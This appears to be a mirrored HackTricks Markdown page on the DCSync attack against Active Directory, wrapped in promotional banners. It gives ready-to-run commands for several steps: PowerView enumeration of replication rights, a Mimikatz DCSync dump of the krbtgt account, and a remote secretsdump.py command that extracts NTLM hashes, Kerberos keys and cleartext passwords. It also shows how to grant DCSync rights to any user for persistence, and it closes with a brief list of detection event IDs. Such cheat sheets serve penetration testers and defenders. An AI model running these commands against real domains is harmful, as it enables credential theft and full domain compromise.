mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
114 lines
6.7 KiB
Markdown
114 lines
6.7 KiB
Markdown
# DCSync
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
## DCSync
|
||
|
||
The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
|
||
|
||
**Important Notes about DCSync:**
|
||
|
||
* The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
|
||
* By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
|
||
* If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
|
||
|
||
### Enumeration
|
||
|
||
Check who has these permissions using `powerview`:
|
||
|
||
```powershell
|
||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
|
||
```
|
||
|
||
### Exploit Locally
|
||
|
||
```powershell
|
||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
||
```
|
||
|
||
### Exploit Remotely
|
||
|
||
```powershell
|
||
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||
[-just-dc-user <USERNAME>] #To get only of that user
|
||
[-pwd-last-set] #To see when each account's password was last changed
|
||
[-history] #To dump password history, may be helpful for offline password cracking
|
||
```
|
||
|
||
`-just-dc` generates 3 files:
|
||
|
||
* one with the **NTLM hashes**
|
||
* one with the the **Kerberos keys**
|
||
* one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with
|
||
|
||
```powershell
|
||
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
|
||
```
|
||
|
||
### Persistence
|
||
|
||
If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
|
||
|
||
```powershell
|
||
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
|
||
```
|
||
|
||
Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
|
||
|
||
```powershell
|
||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
|
||
```
|
||
|
||
### Mitigation
|
||
|
||
* Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
|
||
* Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
|
||
* Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
|
||
* AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
|
||
|
||
## References
|
||
|
||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
|
||
* [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
|